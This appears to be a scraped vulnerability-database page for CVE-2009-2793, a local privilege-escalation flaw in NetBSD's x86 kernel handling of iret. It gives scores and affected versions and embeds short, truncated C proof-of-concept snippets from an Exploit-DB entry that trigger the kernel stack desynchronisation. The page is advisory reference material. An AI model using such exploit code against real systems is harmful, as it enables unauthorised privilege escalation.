CVE-2009-2793 : Detail

CVE-2009-2793

A01-Broken Access Control
0.04%V3
Local
2009-09-18
20h00 +00:00
2018-10-10
16h57 +00:00
CVE.org
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CVE Descriptions

The kernel in NetBSD, probably 5.0.1 and earlier, on x86 platforms does not properly handle a pre-commit failure of the iret instruction, which might allow local users to gain privileges via vectors related to a tempEIP pseudocode variable that is outside of the code-segment limits.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.6 AV:L/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 33229

Publication date : 2009-09-15 22h00 +00:00
Author : Tavis Ormandy
EDB Verified : Yes

/* source: https://www.securityfocus.com/bid/36430/info NetBSD is prone to a local privilege-escalation vulnerability. A local attacker may exploit this issue to cause the kernel stack to become desynchronized. This may allow the attacker to gain elevated privileges or may aid in further attacks. */ /* ... */ int main(int argc, char **argv) { jmp_buf env; void handlesig(int n) { longjmp(env, 1); } signal(SIGSEGV, handlesig); if (setjmp(env) == 0) { ( (void(*)(void)) NULL) (); } return 0; } /* ... */ int main(int argc, char **argv) { char baguette; signal(SIGABRT, (void (*)(int))&baguette); abort(); }

Products Mentioned

Configuraton 0

Netbsd>>Netbsd >> Version To (including) 5.0.1

Netbsd>>Netbsd >> Version 0.8

    Netbsd>>Netbsd >> Version 0.9

      Netbsd>>Netbsd >> Version 1.0

      Netbsd>>Netbsd >> Version 1.1

      Netbsd>>Netbsd >> Version 1.2

      Netbsd>>Netbsd >> Version 1.2.1

      Netbsd>>Netbsd >> Version 1.3

      Netbsd>>Netbsd >> Version 1.3.1

      Netbsd>>Netbsd >> Version 1.3.2

      Netbsd>>Netbsd >> Version 1.3.3

      Netbsd>>Netbsd >> Version 1.5

      Netbsd>>Netbsd >> Version 1.5.1

      Netbsd>>Netbsd >> Version 1.5.2

      Netbsd>>Netbsd >> Version 1.5.3

      Netbsd>>Netbsd >> Version 1.6

      Netbsd>>Netbsd >> Version 1.6.1

      Netbsd>>Netbsd >> Version 1.6.2

      Netbsd>>Netbsd >> Version 2.0

      Netbsd>>Netbsd >> Version 2.0.1

      Netbsd>>Netbsd >> Version 2.0.2

      Netbsd>>Netbsd >> Version 2.0.3

      Netbsd>>Netbsd >> Version 2.1

      Netbsd>>Netbsd >> Version 3.0

      Netbsd>>Netbsd >> Version 3.0.1

      Netbsd>>Netbsd >> Version 3.0.2

      Netbsd>>Netbsd >> Version 3.1

      Netbsd>>Netbsd >> Version 4.0

      Netbsd>>Netbsd >> Version 4.0.1

        Netbsd>>Netbsd >> Version 5.0

          References